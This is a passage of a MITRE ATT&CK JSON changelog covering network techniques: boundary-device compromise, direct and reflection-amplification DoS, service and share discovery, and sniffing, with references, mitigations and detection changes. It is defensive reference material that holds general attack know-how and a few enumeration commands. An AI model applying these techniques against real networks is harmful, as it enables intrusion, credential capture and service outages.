"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 16:08:29.817000+00:00", + "modified": "2025-10-24 17:49:16.493000+00:00", + "name": "Network Boundary Bridging", + "description": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1599", + "external_id": "T1599" + }, + { + "source_name": "Kaspersky ThreatNeedle Feb 2021", + "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.", + "url": "https://securelist.com/lazarus-threatneedle/100803/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.493000+00:00\", \"old_value\": \"2025-04-16 20:37:19.349000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\\n\\nMonitor the border network device\\u2019s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\\n-\\n-Monitor the border network device\\u2019s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1037: Filter Network Traffic", + "M1043: Credential Access Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0006: Detection Strategy for Network Boundary Bridging" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17 20:23:15.105000+00:00", + "modified": "2025-10-24 17:49:28.162000+00:00", + "name": "Network Denial of Service", + "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1498", + "external_id": "T1498" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "FSISAC FraudNetDoS September 2012", + "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.", + "url": "https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf" + }, + { + "source_name": "FireEye OpPoisonedHandover February 2016", + "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20201127180357/https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html" + }, + { + "source_name": "Symantec DDoS October 2014", + "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Sensor Health: Host Status\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.162000+00:00\", \"old_value\": \"2025-04-15 22:51:06.430000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0518: Behavioral Detection of T1498 \u2013 Network Denial of Service Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 20:07:18.651000+00:00", + "modified": "2025-10-24 17:48:22.567000+00:00", + "name": "Direct Network Flood", + "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1498/001", + "external_id": "T1498.001" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "USNYAG IranianBotnet March 2016", + "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.", + "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Sensor Health: Host Status\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.567000+00:00\", \"old_value\": \"2025-04-15 22:19:07.343000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0343: Direct Network Flood Detection across IaaS, Linux, Windows, and macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 20:08:03.691000+00:00", + "modified": "2025-10-24 17:48:38.890000+00:00", + "name": "Reflection Amplification", + "description": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1498/002", + "external_id": "T1498.002" + }, + { + "source_name": "Cisco DoSdetectNetflow", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf" + }, + { + "source_name": "Cloudflare DNSamplficationDoS", + "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.", + "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/" + }, + { + "source_name": "Cloudflare NTPamplifciationDoS", + "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.", + "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/" + }, + { + "source_name": "Cloudflare ReflectionDoS May 2017", + "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.", + "url": "https://blog.cloudflare.com/reflections-on-reflections/" + }, + { + "source_name": "Cloudflare Memcrashed Feb 2018", + "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.", + "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/" + }, + { + "source_name": "Arbor AnnualDoSreport Jan 2018", + "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", + "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.890000+00:00\", \"old_value\": \"2025-04-15 22:59:22.782000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1037: Filter Network Traffic" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0408: Detection Strategy for Reflection Amplification DoS (T1498.002)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:43.915000+00:00", + "modified": "2025-10-24 17:49:31.494000+00:00", + "name": "Network Service Discovery", + "description": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host\u2019s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1046", + "external_id": "T1046" + }, + { + "source_name": "apple doco bonjour description", + "description": "Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021.", + "url": "https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html" + }, + { + "source_name": "CISA AR21-126A FIVEHANDS May 2021", + "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a" + }, + { + "source_name": "macOS APT Activity Bradley", + "description": "Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.", + "url": "https://themittenmac.com/what-does-apt-activity-look-like-on-macos/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian", + "Aaron Sullivan aka ZerkerEOD" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "IaaS", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "3.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Cloud Service: Cloud Service Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.494000+00:00\", \"old_value\": \"2025-04-15 19:59:15.945000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\"}}}", + "previous_version": "3.2", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0025: Cloud Service (Cloud Service Enumeration)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0376: Behavioral Detection Strategy for Network Service Discovery Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2025-10-24 17:48:37.475000+00:00", + "name": "Network Share Discovery", + "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\\\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1135", + "external_id": "T1135" + }, + { + "source_name": "TechNet Shared Folder", + "description": "Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017.", + "url": "https://technet.microsoft.com/library/cc770880.aspx" + }, + { + "source_name": "Wikipedia Shared Resource", + "description": "Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017.", + "url": "https://en.wikipedia.org/wiki/Shared_resource" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "3.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.475000+00:00\", \"old_value\": \"2025-04-15 22:52:30.350000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "3.2", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0182: Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:41.399000+00:00", + "modified": "2025-10-24 17:48:36.910000+00:00", + "name": "Network Sniffing", + "description": "Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": 